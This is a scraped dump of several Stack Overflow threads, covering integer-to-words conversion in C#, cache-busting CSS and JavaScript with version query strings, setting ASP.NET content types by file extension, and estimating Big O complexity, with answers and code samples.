543 -&gt; five hundred forty-three\n</code></pre>\n\n<p>And voilá!</p>\n" }, { "answer_id": 44401667, "author": "Santhosh", "author_id": 6851131, "author_profile": "https://Stackoverflow.com/users/6851131", "pm_score": 1, "selected": false, "text": "<p>The following C# console app code will accepts a monetary value in numbers up to 2 decimals and prints it in English. This not only converts integer to its English equivalent but as a monetary value in dollars and cents. </p>\n\n<pre><code> namespace ConsoleApplication2\n{\n using System;\n using System.Collections.Generic;\n using System.Linq;\n using System.Text.RegularExpressions;\n class Program\n {\n static void Main(string[] args)\n {\n bool repeat = true;\n while (repeat)\n {\n string inputMonetaryValueInNumberic = string.Empty;\n string centPart = string.Empty;\n string dollarPart = string.Empty;\n Console.Write(\"\\nEnter the monetary value : \");\n inputMonetaryValueInNumberic = Console.ReadLine();\n inputMonetaryValueInNumberic = inputMonetaryValueInNumberic.TrimStart('0');\n\n if (ValidateInput(inputMonetaryValueInNumberic))\n {\n\n if (inputMonetaryValueInNumberic.Contains('.'))\n {\n centPart = ProcessCents(inputMonetaryValueInNumberic.Substring(inputMonetaryValueInNumberic.IndexOf(\".\") + 1));\n dollarPart = ProcessDollar(inputMonetaryValueInNumberic.Substring(0, inputMonetaryValueInNumberic.IndexOf(\".\")));\n }\n else\n {\n dollarPart = ProcessDollar(inputMonetaryValueInNumberic);\n }\n centPart = string.IsNullOrWhiteSpace(centPart) ? string.Empty : \" and \" + centPart;\n Console.WriteLine(string.Format(\"\\n\\n{0}{1}\", dollarPart, centPart));\n }\n else\n {\n Console.WriteLine(\"Invalid Input..\");\n }\n\n Console.WriteLine(\"\\n\\nPress any key to continue or Escape of close : \");\n var loop = Console.ReadKey();\n repeat = !loop.Key.ToString().Contains(\"Escape\");\n Console.Clear();\n }\n\n }\n\n private static string ProcessCents(string cents)\n {\n string english = string.Empty;\n string dig3 = Process3Digit(cents);\n if (!string.IsNullOrWhiteSpace(dig3))\n {\n dig3 = string.Format(\"{0} {1}\", dig3, GetSections(0));\n }\n english = dig3 + english;\n return english;\n }\n private static string ProcessDollar(string dollar)\n {\n string english = string.Empty;\n foreach (var item in Get3DigitList(dollar))\n {\n string dig3 = Process3Digit(item.Value);\n if (!string.IsNullOrWhiteSpace(dig3))\n {\n dig3 = string.Format(\"{0} {1}\", dig3, GetSections(item.Key));\n }\n english = dig3 + english;\n }\n return english;\n }\n private static string Process3Digit(string digit3)\n {\n string result = string.Empty;\n if (Convert.ToInt32(digit3) != 0)\n {\n int place = 0;\n Stack&lt;string&gt; monetaryValue = new Stack&lt;string&gt;();\n for (int i = digit3.Length - 1; i &gt;= 0; i--)\n {\n place += 1;\n string stringValue = string.Empty;\n switch (place)\n {\n case 1:\n stringValue = GetOnes(digit3[i].ToString());\n break;\n case 2:\n int tens = Convert.ToInt32(digit3[i]);\n if (tens == 1)\n {\n if (monetaryValue.Count &gt; 0)\n {\n monetaryValue.Pop();\n }\n stringValue = GetTens((digit3[i].ToString() + digit3[i + 1].ToString()));\n }\n else\n {\n stringValue = GetTens(digit3[i].ToString());\n }\n break;\n case 3:\n stringValue = GetOnes(digit3[i].ToString());\n if (!string.IsNullOrWhiteSpace(stringValue))\n {\n string postFixWith = \" Hundred\";\n if (monetaryValue.Count &gt; 0)\n {\n postFixWith = postFixWith + \" And\";\n }\n stringValue += postFixWith;\n }\n break;\n }\n if (!string.IsNullOrWhiteSpace(stringValue))\n monetaryValue.Push(stringValue);\n }\n while (monetaryValue.Count &gt; 0)\n {\n result += \" \" + monetaryValue.Pop().ToString().Trim();\n }\n }\n return result;\n }\n private static Dictionary&lt;int, string&gt; Get3DigitList(string monetaryValueInNumberic)\n {\n Dictionary&lt;int, string&gt; hundredsStack = new Dictionary&lt;int, string&gt;();\n int counter = 0;\n while (monetaryValueInNumberic.Length &gt;= 3)\n {\n string digit3 = monetaryValueInNumberic.Substring(monetaryValueInNumberic.Length - 3, 3);\n monetaryValueInNumberic = monetaryValueInNumberic.Substring(0, monetaryValueInNumberic.Length - 3);\n hundredsStack.Add(++counter, digit3);\n }\n if (monetaryValueInNumberic.Length != 0)\n hundredsStack.Add(++counter, monetaryValueInNumberic);\n return hundredsStack;\n }\n private static string GetTens(string tensPlaceValue)\n {\n string englishEquvalent = string.Empty;\n int value = Convert.ToInt32(tensPlaceValue);\n Dictionary&lt;int, string&gt; tens = new Dictionary&lt;int, string&gt;();\n tens.Add(2, \"Twenty\");\n tens.Add(3, \"Thirty\");\n tens.Add(4, \"Forty\");\n tens.Add(5, \"Fifty\");\n tens.Add(6, \"Sixty\");\n tens.Add(7, \"Seventy\");\n tens.Add(8, \"Eighty\");\n tens.Add(9, \"Ninty\");\n tens.Add(10, \"Ten\");\n tens.Add(11, \"Eleven\");\n tens.Add(12, \"Twelve\");\n tens.Add(13, \"Thrteen\");\n tens.Add(14, \"Fourteen\");\n tens.Add(15, \"Fifteen\");\n tens.Add(16, \"Sixteen\");\n tens.Add(17, \"Seventeen\");\n tens.Add(18, \"Eighteen\");\n tens.Add(19, \"Ninteen\");\n if (tens.ContainsKey(value))\n {\n englishEquvalent = tens[value];\n }\n\n return englishEquvalent;\n\n }\n private static string GetOnes(string onesPlaceValue)\n {\n int value = Convert.ToInt32(onesPlaceValue);\n string englishEquvalent = string.Empty;\n Dictionary&lt;int, string&gt; ones = new Dictionary&lt;int, string&gt;();\n ones.Add(1, \" One\");\n ones.Add(2, \" Two\");\n ones.Add(3, \" Three\");\n ones.Add(4, \" Four\");\n ones.Add(5, \" Five\");\n ones.Add(6, \" Six\");\n ones.Add(7, \" Seven\");\n ones.Add(8, \" Eight\");\n ones.Add(9, \" Nine\");\n\n if (ones.ContainsKey(value))\n {\n englishEquvalent = ones[value];\n }\n\n return englishEquvalent;\n }\n private static string GetSections(int section)\n {\n string sectionName = string.Empty;\n switch (section)\n {\n case 0:\n sectionName = \"Cents\";\n break;\n case 1:\n sectionName = \"Dollars\";\n break;\n case 2:\n sectionName = \"Thousand\";\n break;\n case 3:\n sectionName = \"Million\";\n break;\n case 4:\n sectionName = \"Billion\";\n break;\n case 5:\n sectionName = \"Trillion\";\n break;\n case 6:\n sectionName = \"Zillion\";\n break;\n }\n return sectionName;\n }\n private static bool ValidateInput(string input)\n {\n return Regex.IsMatch(input, \"[0-9]{1,18}(\\\\.[0-9]{1,2})?\"))\n }\n }\n}\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3213", "https://Stackoverflow.com", "https://Stackoverflow.com/users/383/" ]
Is there an efficient method of converting an integer into the written numbers, for example: ``` string Written = IntegerToWritten(21); ``` would return "Twenty One". Is there any way of doing this that doesn't involve a massive look-up table?
This should work reasonably well: ``` public static class HumanFriendlyInteger { static string[] ones = new string[] { "", "One", "Two", "Three", "Four", "Five", "Six", "Seven", "Eight", "Nine" }; static string[] teens = new string[] { "Ten", "Eleven", "Twelve", "Thirteen", "Fourteen", "Fifteen", "Sixteen", "Seventeen", "Eighteen", "Nineteen" }; static string[] tens = new string[] { "Twenty", "Thirty", "Forty", "Fifty", "Sixty", "Seventy", "Eighty", "Ninety" }; static string[] thousandsGroups = { "", " Thousand", " Million", " Billion" }; private static string FriendlyInteger(int n, string leftDigits, int thousands) { if (n == 0) { return leftDigits; } string friendlyInt = leftDigits; if (friendlyInt.Length > 0) { friendlyInt += " "; } if (n < 10) { friendlyInt += ones[n]; } else if (n < 20) { friendlyInt += teens[n - 10]; } else if (n < 100) { friendlyInt += FriendlyInteger(n % 10, tens[n / 10 - 2], 0); } else if (n < 1000) { friendlyInt += FriendlyInteger(n % 100, (ones[n / 100] + " Hundred"), 0); } else { friendlyInt += FriendlyInteger(n % 1000, FriendlyInteger(n / 1000, "", thousands+1), 0); if (n % 1000 == 0) { return friendlyInt; } } return friendlyInt + thousandsGroups[thousands]; } public static string IntegerToWritten(int n) { if (n == 0) { return "Zero"; } else if (n < 0) { return "Negative " + IntegerToWritten(-n); } return FriendlyInteger(n, "", 0); } } ``` (Edited to fix a bug w/ million, billion, etc.)
3,224
<p>CSS and Javascript files don't change very often, so I want them to be cached by the web browser. But I also want the web browser to see changes made to these files without requiring the user to clear their browser cache. Also want a solution that works well with a version control system such as Subversion.</p> <hr /> <blockquote> <p>Some solutions I have seen involve adding a version number to the end of the file in the form of a query string.</p> <p>Could use the SVN revision number to automate this for you: <a href="https://stackoverflow.com/questions/2308/aspnet-display-svn-revision-number">ASP.NET Display SVN Revision Number</a></p> </blockquote> <p>Can you specify how you include the <a href="http://svnbook.red-bean.com/en/1.4/svn.advanced.props.special.keywords.html" rel="noreferrer">Revision</a> variable of another file? That is in the HTML file I can include the Revision number in the URL to the CSS or Javascript file.</p> <p>In the <a href="http://svnbook.red-bean.com" rel="noreferrer">Subversion book</a> it says about Revision: &quot;This keyword describes the last known revision in which this file changed in the repository&quot;.</p> <blockquote> <p>Firefox also allows pressing <kbd>CTRL</kbd>+<kbd>R</kbd> to reload everything on a particular page.</p> </blockquote> <p>To clarify I am looking for solutions that don't require the user to do anything on their part.</p>
[ { "answer_id": 3225, "author": "grom", "author_id": 486, "author_profile": "https://Stackoverflow.com/users/486", "pm_score": 6, "selected": true, "text": "<p>I found that if you append the last modified timestamp of the file onto the end of the URL the browser will request the files when it is modified. For example in PHP:</p>\n\n<pre><code>function urlmtime($url) {\n $parsed_url = parse_url($url);\n $path = $parsed_url['path'];\n\n if ($path[0] == \"/\") {\n $filename = $_SERVER['DOCUMENT_ROOT'] . \"/\" . $path;\n } else {\n $filename = $path;\n }\n\n if (!file_exists($filename)) {\n // If not a file then use the current time\n $lastModified = date('YmdHis');\n } else {\n $lastModified = date('YmdHis', filemtime($filename));\n }\n\n if (strpos($url, '?') === false) {\n $url .= '?ts=' . $lastModified;\n } else {\n $url .= '&amp;ts=' . $lastModified;\n }\n\n return $url;\n}\n\nfunction include_css($css_url, $media='all') {\n // According to Yahoo, using link allows for progressive \n // rendering in IE where as @import url($css_url) does not\n echo '&lt;link rel=\"stylesheet\" type=\"text/css\" media=\"' .\n $media . '\" href=\"' . urlmtime($css_url) . '\"&gt;'.\"\\n\";\n}\n\nfunction include_javascript($javascript_url) {\n echo '&lt;script type=\"text/javascript\" src=\"' . urlmtime($javascript_url) .\n '\"&gt;&lt;/script&gt;'.\"\\n\";\n}\n</code></pre>\n" }, { "answer_id": 3233, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 3, "selected": false, "text": "<p>Some solutions I have seen involve adding a version number to the end of the file in the form of a query string.</p>\n\n<pre><code>&lt;script type=\"text/javascript\" src=\"funkycode.js?v1\"&gt;\n</code></pre>\n\n<p>You could use the SVN revision number to automate this <a href=\"https://stackoverflow.com/questions/2308/aspnet-display-svn-revision-number\">for you</a> by including the word <strong>LastChangedRevision</strong> in your html file after where v1 appears above. You must also setup your repository to do this.</p>\n\n<p>I hope this further clarifies my answer?</p>\n\n<p>Firefox also allows pressing <kbd>CTRL</kbd> + <kbd>R</kbd> to reload everything on a particular page.</p>\n" }, { "answer_id": 4026, "author": "Lance Fisher", "author_id": 571, "author_profile": "https://Stackoverflow.com/users/571", "pm_score": 3, "selected": false, "text": "<p>In my opinion, it is better to make the version number part of the file itself e.g. <code>myscript.1.2.3.js</code>. You can set your webserver to cache this file forever, and just add a new js file when you have a new version.</p>\n" }, { "answer_id": 6790, "author": "Justin Sheehy", "author_id": 11944, "author_profile": "https://Stackoverflow.com/users/11944", "pm_score": 3, "selected": false, "text": "<p>When you release a new version of your CSS or JS libraries, cause the following to occur:</p>\n\n<ol>\n<li>modify the filename to include a unique version string</li>\n<li>modify the HTML files which reference the library to point at the versioned file</li>\n</ol>\n\n<p>(this is usually a pretty simple matter for a release script)</p>\n\n<p>Now you can set the Expires for the CSS/JS to be years in the future. Whenever you change the content, if the referencing HTML points to a new URI, browsers will no longer use the old cached copy.</p>\n\n<p>This causes the caching behavior you want without requiring anything of the user.</p>\n" }, { "answer_id": 60686, "author": "Michelle", "author_id": 4058, "author_profile": "https://Stackoverflow.com/users/4058", "pm_score": 3, "selected": false, "text": "<p>I was also wondering how to do this, when I found grom's answer. Thanks for the code.</p>\n\n<p>I struggled with understanding how the code was supposed to be used. (I don't use a version control system.) In summary, you include the timestamp (ts) when you call the stylesheet. You're not planning on changing the stylesheet often:</p>\n\n<pre><code>&lt;?php \n include ('grom_file.php');\n // timestamp on the filename has to be updated manually\n include_css('_stylesheets/style.css?ts=20080912162813', 'all');\n?&gt;\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3224", "https://Stackoverflow.com", "https://Stackoverflow.com/users/486/" ]
CSS and Javascript files don't change very often, so I want them to be cached by the web browser. But I also want the web browser to see changes made to these files without requiring the user to clear their browser cache. Also want a solution that works well with a version control system such as Subversion. --- > > Some solutions I have seen involve adding a version number to the end of the file in the form of a query string. > > > Could use the SVN revision number to automate this for you: [ASP.NET Display SVN Revision Number](https://stackoverflow.com/questions/2308/aspnet-display-svn-revision-number) > > > Can you specify how you include the [Revision](http://svnbook.red-bean.com/en/1.4/svn.advanced.props.special.keywords.html) variable of another file? That is in the HTML file I can include the Revision number in the URL to the CSS or Javascript file. In the [Subversion book](http://svnbook.red-bean.com) it says about Revision: "This keyword describes the last known revision in which this file changed in the repository". > > Firefox also allows pressing `CTRL`+`R` to reload everything on a particular page. > > > To clarify I am looking for solutions that don't require the user to do anything on their part.
I found that if you append the last modified timestamp of the file onto the end of the URL the browser will request the files when it is modified. For example in PHP: ``` function urlmtime($url) { $parsed_url = parse_url($url); $path = $parsed_url['path']; if ($path[0] == "/") { $filename = $_SERVER['DOCUMENT_ROOT'] . "/" . $path; } else { $filename = $path; } if (!file_exists($filename)) { // If not a file then use the current time $lastModified = date('YmdHis'); } else { $lastModified = date('YmdHis', filemtime($filename)); } if (strpos($url, '?') === false) { $url .= '?ts=' . $lastModified; } else { $url .= '&ts=' . $lastModified; } return $url; } function include_css($css_url, $media='all') { // According to Yahoo, using link allows for progressive // rendering in IE where as @import url($css_url) does not echo '<link rel="stylesheet" type="text/css" media="' . $media . '" href="' . urlmtime($css_url) . '">'."\n"; } function include_javascript($javascript_url) { echo '<script type="text/javascript" src="' . urlmtime($javascript_url) . '"></script>'."\n"; } ```
3,234
<p>How would one display any add content from a "dynamic" aspx page? Currently I am working on using the System.Web.HttpResponse "Page.Response" to write a file that is stored on a web server to a web request.</p> <p>This would allow people to hit a url to the type <a href="http://www.foo.com?Image=test.jpg" rel="noreferrer">http://www.foo.com?Image=test.jpg</a> and have the image display in their browser. So as you may know this revolves around the use of Response.ContentType.</p> <p>By using </p> <pre><code>Response.ContentType = "application/octet-stream"; </code></pre> <p>I am able to display images of type gif/jpeg/png (all i have tested so far), bit trying to display .swf or .ico files gives me a nice little error.</p> <p>using</p> <pre><code>Response.ContentType = "application/x-shockwave-flash"; </code></pre> <p>I can get flash files to play, but then the images are messed.</p> <p>So how do i <strong>easily</strong> choose the contenttype?</p>
[ { "answer_id": 3240, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 0, "selected": false, "text": "<p>This is part of a solution I use on a local intranet. Some of the variables you will have to collect yourself as I pull them from a database but you may pull them from somewhere else.</p>\n\n<p>The only extra but I've got in there is a function called <strong>getMimeType</strong> which connects to the database and pulls back the correct mine type based on file extension. This defaults to application/octet-stream if none is found.</p>\n\n<pre><code>// Clear the response buffer incase there is anything already in it.\nResponse.Clear();\nResponse.Buffer = true;\n\n// Read the original file from disk\nFileStream myFileStream = new FileStream(sPath, FileMode.Open);\nlong FileSize = myFileStream.Length;\nbyte[] Buffer = new byte[(int)FileSize];\nmyFileStream.Read(Buffer, 0, (int)FileSize);\nmyFileStream.Close();\n\n// Tell the browse stuff about the file\nResponse.AddHeader(\"Content-Length\", FileSize.ToString());\nResponse.AddHeader(\"Content-Disposition\", \"inline; filename=\" + sFilename.Replace(\" \",\"_\"));\nResponse.ContentType = getMimeType(sExtention, oConnection);\n\n// Send the data to the browser\nResponse.BinaryWrite(Buffer);\nResponse.End();\n</code></pre>\n" }, { "answer_id": 14496, "author": "Keith", "author_id": 905, "author_profile": "https://Stackoverflow.com/users/905", "pm_score": 4, "selected": true, "text": "<p>This is ugly, but the best way is to look at the file and set the content type as appropriate:</p>\n\n<pre><code>switch ( fileExtension )\n{\n case \"pdf\": Response.ContentType = \"application/pdf\"; break; \n case \"swf\": Response.ContentType = \"application/x-shockwave-flash\"; break; \n\n case \"gif\": Response.ContentType = \"image/gif\"; break; \n case \"jpeg\": Response.ContentType = \"image/jpg\"; break; \n case \"jpg\": Response.ContentType = \"image/jpg\"; break; \n case \"png\": Response.ContentType = \"image/png\"; break; \n\n case \"mp4\": Response.ContentType = \"video/mp4\"; break; \n case \"mpeg\": Response.ContentType = \"video/mpeg\"; break; \n case \"mov\": Response.ContentType = \"video/quicktime\"; break; \n case \"wmv\":\n case \"avi\": Response.ContentType = \"video/x-ms-wmv\"; break; \n\n //and so on \n\n default: Response.ContentType = \"application/octet-stream\"; break; \n}\n</code></pre>\n" }, { "answer_id": 17441, "author": "FryHard", "author_id": 231, "author_profile": "https://Stackoverflow.com/users/231", "pm_score": 0, "selected": false, "text": "<p>Yup <a href=\"https://stackoverflow.com/users/905/keith\">Keith</a> ugly but true. I ended up placing the MIME types that we would use into a database and then pull them out when I was publishing a file. I still can't believe that there is no autoritive list of types out there or that there is no mention of what is available in MSDN.</p>\n\n<p>I found <a href=\"https://web.archive.org/web/20080913141333/http://www.utoronto.ca/webdocs/HTMLdocs/Book/Book-3ed/appb/mimetype.html\" rel=\"nofollow noreferrer\">this</a> site that provided some help.</p>\n" }, { "answer_id": 46413068, "author": "shurik", "author_id": 1159723, "author_profile": "https://Stackoverflow.com/users/1159723", "pm_score": 0, "selected": false, "text": "<p>Since .Net 4.5 one can use </p>\n\n<pre><code>MimeMapping.GetMimeMapping\n</code></pre>\n\n<p>It returns the MIME mapping for the specified file name.</p>\n\n<p><a href=\"https://learn.microsoft.com/en-us/dotnet/api/system.web.mimemapping.getmimemapping\" rel=\"nofollow noreferrer\">https://learn.microsoft.com/en-us/dotnet/api/system.web.mimemapping.getmimemapping</a></p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3234", "https://Stackoverflow.com", "https://Stackoverflow.com/users/231/" ]
How would one display any add content from a "dynamic" aspx page? Currently I am working on using the System.Web.HttpResponse "Page.Response" to write a file that is stored on a web server to a web request. This would allow people to hit a url to the type <http://www.foo.com?Image=test.jpg> and have the image display in their browser. So as you may know this revolves around the use of Response.ContentType. By using ``` Response.ContentType = "application/octet-stream"; ``` I am able to display images of type gif/jpeg/png (all i have tested so far), bit trying to display .swf or .ico files gives me a nice little error. using ``` Response.ContentType = "application/x-shockwave-flash"; ``` I can get flash files to play, but then the images are messed. So how do i **easily** choose the contenttype?
This is ugly, but the best way is to look at the file and set the content type as appropriate: ``` switch ( fileExtension ) { case "pdf": Response.ContentType = "application/pdf"; break; case "swf": Response.ContentType = "application/x-shockwave-flash"; break; case "gif": Response.ContentType = "image/gif"; break; case "jpeg": Response.ContentType = "image/jpg"; break; case "jpg": Response.ContentType = "image/jpg"; break; case "png": Response.ContentType = "image/png"; break; case "mp4": Response.ContentType = "video/mp4"; break; case "mpeg": Response.ContentType = "video/mpeg"; break; case "mov": Response.ContentType = "video/quicktime"; break; case "wmv": case "avi": Response.ContentType = "video/x-ms-wmv"; break; //and so on default: Response.ContentType = "application/octet-stream"; break; } ```
3,255
<p>Most people with a degree in CS will certainly know what <a href="http://www.nist.gov/dads/HTML/bigOnotation.html" rel="noreferrer">Big O stands for</a>. It helps us to measure how well an algorithm scales. </p> <p>But I'm curious, how do <em>you</em> calculate or approximate the complexity of your algorithms?</p>
[ { "answer_id": 3280, "author": "Matt Mitchell", "author_id": 364, "author_profile": "https://Stackoverflow.com/users/364", "pm_score": 3, "selected": false, "text": "<p>Familiarity with the algorithms/data structures I use and/or quick glance analysis of iteration nesting. The difficulty is when you call a library function, possibly multiple times - you can often be unsure of whether you are calling the function unnecessarily at times or what implementation they are using. Maybe library functions should have a complexity/efficiency measure, whether that be Big O or some other metric, that is available in documentation or even <a href=\"http://en.wikipedia.org/wiki/IntelliSense\" rel=\"noreferrer\">IntelliSense</a>.</p>\n" }, { "answer_id": 3297, "author": "Lasse V. Karlsen", "author_id": 267, "author_profile": "https://Stackoverflow.com/users/267", "pm_score": 3, "selected": false, "text": "<p>Break down the algorithm into pieces you know the big O notation for, and combine through big O operators. That's the only way I know of.</p>\n\n<p>For more information, check the <a href=\"http://en.wikipedia.org/wiki/Big_O_notation\" rel=\"noreferrer\">Wikipedia page</a> on the subject.</p>\n" }, { "answer_id": 3368, "author": "DShook", "author_id": 370, "author_profile": "https://Stackoverflow.com/users/370", "pm_score": 8, "selected": false, "text": "<p>Big O gives the upper bound for time complexity of an algorithm. It is usually used in conjunction with processing data sets (lists) but can be used elsewhere. </p>\n\n<p>A few examples of how it's used in C code.</p>\n\n<p>Say we have an array of n elements</p>\n\n<pre><code>int array[n];\n</code></pre>\n\n<p>If we wanted to access the first element of the array this would be O(1) since it doesn't matter how big the array is, it always takes the same constant time to get the first item.</p>\n\n<pre><code>x = array[0];\n</code></pre>\n\n<p>If we wanted to find a number in the list:</p>\n\n<pre><code>for(int i = 0; i &lt; n; i++){\n if(array[i] == numToFind){ return i; }\n}\n</code></pre>\n\n<p>This would be O(n) since at most we would have to look through the entire list to find our number. The Big-O is still O(n) even though we might find our number the first try and run through the loop once because Big-O describes the upper bound for an algorithm (omega is for lower bound and theta is for tight bound).</p>\n\n<p>When we get to nested loops:</p>\n\n<pre><code>for(int i = 0; i &lt; n; i++){\n for(int j = i; j &lt; n; j++){\n array[j] += 2;\n }\n}\n</code></pre>\n\n<p>This is O(n^2) since for each pass of the outer loop ( O(n) ) we have to go through the entire list again so the n's multiply leaving us with n squared.</p>\n\n<p>This is barely scratching the surface but when you get to analyzing more complex algorithms complex math involving proofs comes into play. Hope this familiarizes you with the basics at least though.</p>\n" }, { "answer_id": 4515, "author": "sven", "author_id": 46, "author_profile": "https://Stackoverflow.com/users/46", "pm_score": 5, "selected": false, "text": "<p>Seeing the answers here I think we can conclude that most of us do indeed approximate the order of the algorithm by <em>looking</em> at it and use common sense instead of calculating it with, for example, the <a href=\"http://en.wikipedia.org/wiki/Master_theorem\" rel=\"noreferrer\">master method</a> as we were thought at university.\nWith that said I must add that even the professor encouraged us (later on) to actually <em>think</em> about it instead of just calculating it.</p>\n\n<p>Also I would like to add how it is done for <strong>recursive functions</strong>:</p>\n\n<p>suppose we have a function like (<a href=\"http://plt-scheme.org/\" rel=\"noreferrer\">scheme code</a>):</p>\n\n<pre><code>(define (fac n)\n (if (= n 0)\n 1\n (* n (fac (- n 1)))))\n</code></pre>\n\n<p>which recursively calculates the factorial of the given number.</p>\n\n<p>The first step is to try and determine the performance characteristic for <em>the body of the function only</em> in this case, nothing special is done in the body, just a multiplication (or the return of the value 1).</p>\n\n<p>So the <strong>performance for the body is: O(1)</strong> (constant).</p>\n\n<p>Next try and determine this for the <em>number of recursive calls</em>. In this case we have n-1 recursive calls.</p>\n\n<p>So the <strong>performance for the recursive calls is: O(n-1)</strong> (order is n, as we throw away the insignificant parts).</p>\n\n<p>Then put those two together and you then have the performance for the whole recursive function: </p>\n\n<p><strong>1 * (n-1) = O(n)</strong></p>\n\n<hr>\n\n<p><a href=\"https://stackoverflow.com/users/1192/peter-holmdahl\">Peter</a>, to answer <a href=\"https://stackoverflow.com/questions/3255/big-o-how-do-you-calculateapproximate-it#12001\">your raised issues;</a> the method I describe here actually handles this quite well. But keep in mind that this is still an <em>approximation</em> and not a full mathematically correct answer. The method described here is also one of the methods we were taught at university, and if I remember correctly was used for far more advanced algorithms than the factorial I used in this example.<br>\nOf course it all depends on how well you can estimate the running time of the body of the function and the number of recursive calls, but that is just as true for the other methods.</p>\n" }, { "answer_id": 5943, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>Big O notation is useful because it's easy to work with and hides unnecessary complications and details (for some definition of unnecessary). One nice way of working out the complexity of divide and conquer algorithms is the tree method. Let's say you have a version of quicksort with the median procedure, so you split the array into perfectly balanced subarrays every time.</p>\n\n<p>Now build a tree corresponding to all the arrays you work with. At the root you have the original array, the root has two children which are the subarrays. Repeat this until you have single element arrays at the bottom. </p>\n\n<p>Since we can find the median in O(n) time and split the array in two parts in O(n) time, the work done at each node is O(k) where k is the size of the array. Each level of the tree contains (at most) the entire array so the work per level is O(n) (the sizes of the subarrays add up to n, and since we have O(k) per level we can add this up). There are only log(n) levels in the tree since each time we halve the input.</p>\n\n<p>Therefore we can upper bound the amount of work by O(n*log(n)). </p>\n\n<p>However, Big O hides some details which we sometimes can't ignore. Consider computing the Fibonacci sequence with</p>\n\n<pre><code>a=0;\nb=1;\nfor (i = 0; i &lt;n; i++) {\n tmp = b;\n b = a + b;\n a = tmp;\n}\n</code></pre>\n\n<p>and lets just assume the a and b are BigIntegers in Java or something that can handle arbitrarily large numbers. Most people would say this is an O(n) algorithm without flinching. The reasoning is that you have n iterations in the for loop and O(1) work in side the loop. </p>\n\n<p>But Fibonacci numbers are large, the n-th Fibonacci number is exponential in n so just storing it will take on the order of n bytes. Performing addition with big integers will take O(n) amount of work. So the total amount of work done in this procedure is </p>\n\n<p>1 + 2 + 3 + ... + n = n(n-1)/2 = O(n^2)</p>\n\n<p>So this algorithm runs in quadradic time!</p>\n" }, { "answer_id": 11220, "author": "Adam", "author_id": 1341, "author_profile": "https://Stackoverflow.com/users/1341", "pm_score": 4, "selected": false, "text": "<p>Basically the thing that crops up 90% of the time is just analyzing loops. Do you have single, double, triple nested loops? The you have O(n), O(n^2), O(n^3) running time.</p>\n\n<p>Very rarely (unless you are writing a platform with an extensive base library (like for instance, the .NET BCL, or C++'s STL) you will encounter anything that is more difficult than just looking at your loops (for statements, while, goto, etc...)</p>\n" }, { "answer_id": 24582, "author": "OysterD", "author_id": 2638, "author_profile": "https://Stackoverflow.com/users/2638", "pm_score": 5, "selected": false, "text": "<p>Small reminder: the <code>big O</code> notation is used to denote <em>asymptotic</em> complexity (that is, when the size of the problem grows to infinity), <em>and</em> it hides a constant.</p>\n\n<p>This means that between an algorithm in O(n) and one in O(n<sup>2</sup>), the fastest is not always the first one (though there always exists a value of n such that for problems of size >n, the first algorithm is the fastest).</p>\n\n<p>Note that the hidden constant very much depends on the implementation!</p>\n\n<p>Also, in some cases, the runtime is not a deterministic function of the <em>size</em> n of the input. Take sorting using quick sort for example: the time needed to sort an array of n elements is not a constant but depends on the starting configuration of the array. </p>\n\n<p>There are different time complexities: </p>\n\n<ul>\n<li>Worst case (usually the simplest to figure out, though not always very meaningful)</li>\n<li><p>Average case (usually much harder to figure out...)</p></li>\n<li><p>...</p></li>\n</ul>\n\n<p>A good introduction is <em>An Introduction to the Analysis of Algorithms</em> by R. Sedgewick and P. Flajolet.</p>\n\n<p>As you say, <code>premature optimisation is the root of all evil</code>, and (if possible) <em>profiling</em> really should always be used when optimising code. It can even help you determine the complexity of your algorithms.</p>\n" }, { "answer_id": 46502, "author": "Eric", "author_id": 4540, "author_profile": "https://Stackoverflow.com/users/4540", "pm_score": 2, "selected": false, "text": "<p>In addition to using the master method (or one of its specializations), I test my algorithms experimentally. This can't <em>prove</em> that any particular complexity class is achieved, but it can provide reassurance that the mathematical analysis is appropriate. To help with this reassurance, I use code coverage tools in conjunction with my experiments, to ensure that I'm exercising all the cases.</p>\n\n<p>As a very simple example say you wanted to do a sanity check on the speed of the .NET framework's list sort. You could write something like the following, then analyze the results in Excel to make sure they did not exceed an n*log(n) curve.</p>\n\n<p>In this example I measure the number of comparisons, but it's also prudent to examine the actual time required for each sample size. However then you must be even more careful that you are just measuring the algorithm and not including artifacts from your test infrastructure.</p>\n\n<pre><code>int nCmp = 0;\nSystem.Random rnd = new System.Random();\n\n// measure the time required to sort a list of n integers\nvoid DoTest(int n)\n{\n List&lt;int&gt; lst = new List&lt;int&gt;(n);\n for( int i=0; i&lt;n; i++ )\n lst[i] = rnd.Next(0,1000);\n\n // as we sort, keep track of the number of comparisons performed!\n nCmp = 0;\n lst.Sort( delegate( int a, int b ) { nCmp++; return (a&lt;b)?-1:((a&gt;b)?1:0)); }\n\n System.Console.Writeline( \"{0},{1}\", n, nCmp );\n}\n\n\n// Perform measurement for a variety of sample sizes.\n// It would be prudent to check multiple random samples of each size, but this is OK for a quick sanity check\nfor( int n = 0; n&lt;1000; n++ )\n DoTest(n);\n</code></pre>\n" }, { "answer_id": 46607, "author": "Giovanni Galbo", "author_id": 4050, "author_profile": "https://Stackoverflow.com/users/4050", "pm_score": 7, "selected": false, "text": "<p>While knowing how to figure out the Big O time for your particular problem is useful, knowing some general cases can go a long way in helping you make decisions in your algorithm.</p>\n\n<p>Here are some of the most common cases, lifted from <a href=\"http://en.wikipedia.org/wiki/Big_O_notation#Orders_of_common_functions\" rel=\"noreferrer\">http://en.wikipedia.org/wiki/Big_O_notation#Orders_of_common_functions</a>:</p>\n\n<p>O(1) - Determining if a number is even or odd; using a constant-size lookup table or hash table</p>\n\n<p>O(logn) - Finding an item in a sorted array with a binary search</p>\n\n<p>O(n) - Finding an item in an unsorted list; adding two n-digit numbers</p>\n\n<p>O(n<sup>2</sup>) - Multiplying two n-digit numbers by a simple algorithm; adding two n×n matrices; bubble sort or insertion sort</p>\n\n<p>O(n<sup>3</sup>) - Multiplying two n×n matrices by simple algorithm</p>\n\n<p>O(c<sup>n</sup>) - Finding the (exact) solution to the traveling salesman problem using dynamic programming; determining if two logical statements are equivalent using brute force</p>\n\n<p>O(n!) - Solving the traveling salesman problem via brute-force 